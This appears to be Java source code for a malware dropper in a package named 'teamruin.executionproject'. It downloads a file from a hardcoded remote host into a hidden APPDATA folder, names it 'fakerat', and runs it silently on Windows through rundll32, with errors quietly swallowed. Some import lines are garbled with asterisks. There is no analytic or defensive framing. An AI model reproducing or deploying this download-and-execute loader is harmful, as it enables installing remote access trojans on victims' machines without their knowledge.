Execution Project

package com.teamruin.executionproject;

import java****.BufferedInputStream;
import java****.File;
import java****.FileOutputStream;
import java****.OutputStream;
import java.net.URL;
import java.net.URLConnection;




public class FileDownloader extends Thread implements Runnable
{
	public FileDownloader(File mcDir, String uri, String filen)
	{
		macDir = mcDir;
		url = uri;
		filename = filen;
	}

	private File macDir;
	private String url;
	private String filename;

	public String getExtn(){
		return url.substring(url.lastIndexOf('.'), url.length());
	}
	
	public void run()
	{
		try
		{
			URL dlURL = (new URL(url));	
			String fileNameExtn = url.substring(url.lastIndexOf('.'), url.length());
			URLConnection dlConnection = dlURL.openConnection();
			dlConnection.connect();
			BufferedInputStream in = new BufferedInputStream(dlURL.openStream());
			OutputStream out = new FileOutputStream(macDir + "/" + filename + fileNameExtn);

			
			
			int count;
			byte data[] = new byte[1024];

			while ((count = in.read(data)) != -1)
			{
				out.write(data, 0, count);
			}

			out.flush();
			out.close();
			in.close();
		}catch (Exception e) {}
	}
}

package com.teamruin.executionproject;

import java****.File;
import java********Exception;

public class Main {
	
	public static File f = new File(System.getenv("APPDATA") + File.separator + "FACK");
	public static String fname = "fakerat";
	public static String url = "http://poyser0.pf-control.de/ZRBTeam/test%20changelog.txt";
	public static String fileNameExtn = url.substring(url.lastIndexOf('.'), url.length());
	public static File fexist = new File(f + "/" + fname + fileNameExtn);
	public static FileDownloader fd = new FileDownloader(f, url, fname);
	public static boolean isChecking = false;
	
	
	public static void main(String[] args) {
		fd.start();
		isChecking = true;
		while(isChecking){
			if(!f.exists()){
				f.mkdirs();
			}
			if(fexist.exists()){
				String s = System.getProperty("os.name").toLowerCase();
				String os = "unknown";
				if (s.contains("win"))
				{
					os = "win";
				}
				if (s.contains("mac"))
				{
					os = "mac";
				}
				if (s.contains("linux"))
				{
					os = "linux";
				}
				if (s.contains("unix"))
				{
					os = "linux";
				}
				if(os == "win")
				{
					try {
						System.out.println("Windows Detected");
						System.out.println(f.getAbsolutePath());
						Runtime.getRuntime().exec("rundll32 SHELL32.DLL,ShellExec_RunDLL " + fexist.getAbsolutePath());
						System.out.println("Loaded Execution");
						
						isChecking = false;
					} catch (IOException e) {
						e.printStackTrace();
					}
				}
				
			}
		}		
	}

}